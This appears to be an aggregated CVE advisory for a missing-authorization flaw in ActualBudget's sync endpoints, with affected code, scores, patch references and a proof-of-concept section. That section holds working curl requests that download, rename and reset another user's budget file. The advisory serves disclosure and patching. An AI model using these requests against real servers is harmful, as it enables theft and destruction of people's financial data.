5.7medium
ActualBudget missing authorization in sync endpoints allows cross-user budget file access in multi-user mode
- Severity
- 5.7medium CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.35% (higher than 30% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-qmjj-p7m9-wjrv
Description
Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| actualbudget actual | < 26.2.1, before 26.2.1 | CVE List, NVD |
| @actual-app/sync-server (npm) | before 26.2.1 | GitHub Advisory Database |
All scores
| GitHub_M | 5.7medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P |
| NVD | 7.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Actual is a local-first personal finance tool. Prior to version 26.2.1, in multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID. Version 26.2.1 patches the issue.
GitHub Advisory Database
In multi-user mode (OpenID), the sync API endpoints (/sync/*) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.
Affected Code
File: packages/sync-server/src/app-sync.ts
The validateSessionMiddleware on line 31 confirms the user is authenticated, but individual endpoints only check that the file exists (via verifyFileExists), never that the requesting user owns or has access to the file.
Compare with POST /sync/delete-user-file (lines 394-430) which correctly checks:
const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }
This check is missing from all other endpoints.
Affected Endpoints
GET /sync/download-user-file- download any budget filePOST /sync/upload-user-file- overwrite any budget filePOST /sync/sync- read/write sync messages of any filePOST /sync/user-get-key- read encryption key infoPOST /sync/user-create-key- change encryption keyPOST /sync/reset-user-file- reset sync statePOST /sync/update-user-filename- rename fileGET /sync/get-user-file-info- read file metadata
PoC
Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId abc-123.
Bob downloads Alice's budget:
curl -X GET 'https://actual.example.com/sync/download-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123' \
-o stolen-budget.blob
Bob reads Alice's file metadata:
curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'X-Actual-File-Id: abc-123'
Bob renames Alice's budget:
curl -X POST 'https://actual.example.com/sync/update-user-filename' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123", "name": "pwned"}'
Bob resets Alice's sync state (destructive):
curl -X POST 'https://actual.example.com/sync/reset-user-file' \
-H 'X-Actual-Token: <bob-session-token>' \
-H 'Content-Type: application/json' \
-d '{"fileId": "abc-123"}'
File IDs can be discovered by admin users via GET /sync/list-user-files (admins see all files), through user_access sharing, or by guessing.
Impact
In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.
NVD (es)
Actual es una herramienta de finanzas personales local-first. Antes de la versión 26.2.1, en modo multiusuario (OpenID), los endpoints de la API de sincronización ('/sync/*') no verifican que el usuario autenticado posea o tenga acceso al archivo sobre el que se está operando. Cualquier usuario autenticado puede leer, modificar y sobrescribir los archivos de presupuesto de cualquier otro usuario proporcionando su ID de archivo. La versión 26.2.1 soluciona el problema.
References
| https://github.com/actualbudget/actual/security/advisories/GHSA-qmjj-p7m9-wjrv | exploit, vendor-advisory, web | |
| https://github.com/actualbudget/actual/commit/9966c024cb75f57943193cac8e42f401efed9d08 | patch, web | |
| https://github.com/actualbudget/actual/releases/tag/v26.2.1 | product, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-27638 | advisory | |
| https://github.com/actualbudget/actual | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-27638 changed 2026-03-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qmjj-p7m9-wjrv changed 2026-02-28 | CC-BY-4.0 |
| NVD | CVE-2026-27638 changed 2026-06-17 | Public domain |